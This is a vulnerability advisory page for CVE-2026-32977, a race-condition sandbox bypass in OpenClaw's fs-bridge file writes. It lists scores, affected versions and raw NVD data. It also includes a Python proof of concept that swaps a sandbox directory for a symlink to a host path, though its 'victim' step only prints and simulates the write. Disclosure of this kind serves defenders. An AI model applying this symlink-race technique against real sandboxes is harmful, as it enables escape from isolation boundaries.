Security Vulnerability Report
中文
CVE-2026-32977 CVSS 6.3 MEDIUM

CVE-2026-32977

Published: 2026-03-31 12:16:30
Last Modified: 2026-04-02 13:14:47

Description

OpenClaw before 2026.3.11 contains a sandbox boundary bypass vulnerability in the fs-bridge writeFile commit step that uses an unanchored container path during the final move operation. An attacker can exploit a time-of-check-time-of-use race condition by modifying parent paths inside the sandbox to redirect committed files outside the validated writable path within the container mount namespace.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.3.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import threading import os import time # Simulate the vulnerable scenario TARGET_PATH = "/container/sandbox/writable_dir" HOST_PATH = "/host/system/path" def exploit_race_condition(): """ Attacker thread: Continuously swap the parent directory to change the destination of the write operation. """ while True: try: # Step 1: Rename the original directory to temp if os.path.exists(TARGET_PATH): os.rename(TARGET_PATH, "/tmp/original_dir") # Step 2: Create a symlink pointing outside the sandbox os.symlink(HOST_PATH, TARGET_PATH) # Small delay to allow the check/use window time.sleep(0.001) # Step 3: Restore the original state to avoid detection os.unlink(TARGET_PATH) os.rename("/tmp/original_dir", TARGET_PATH) except Exception as e: print(f"Error in exploit: {e}") def trigger_vulnerable_write(): """ Victim thread: Triggers the vulnerable writeFile commit. This represents the OpenClaw fs-bridge operation. """ file_content = b"MALICIOUS_PAYLOAD" # In a real scenario, this calls the vulnerable API # which performs: check(path) -> move(file, path) print("Attempting to write file...") # Simulating the Time-of-Check print(f"[Check] Path is safe: {TARGET_PATH}") # Introduce delay (The race window) time.sleep(0.0005) # Simulating the Time-of-Use (Move operation) # If exploit succeeded, this writes to HOST_PATH print(f"[Use] Moving file to {TARGET_PATH}") if __name__ == "__main__": # Setup environment os.makedirs(TARGET_PATH, exist_ok=True) # Start threads attacker = threading.Thread(target=exploit_race_condition) victim = threading.Thread(target=trigger_vulnerable_write) attacker.start() victim.start() victim.join() attacker.join()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32977", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:29.660", "lastModified": "2026-04-02T13:14:46.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.11 contains a sandbox boundary bypass vulnerability in the fs-bridge writeFile commit step that uses an unanchored container path during the final move operation. An attacker can exploit a time-of-check-time-of-use race condition by modifying parent paths inside the sandbox to redirect committed files outside the validated writable path within the container mount namespace."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.11", "matchCriteriaId": "4B01F0B5-B0CB-462E-A546-2BA2CACD83D5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xvx8-77m6-gwg6", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-sandbox-boundary-bypass-via-unanchored-writefile-commit-path", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}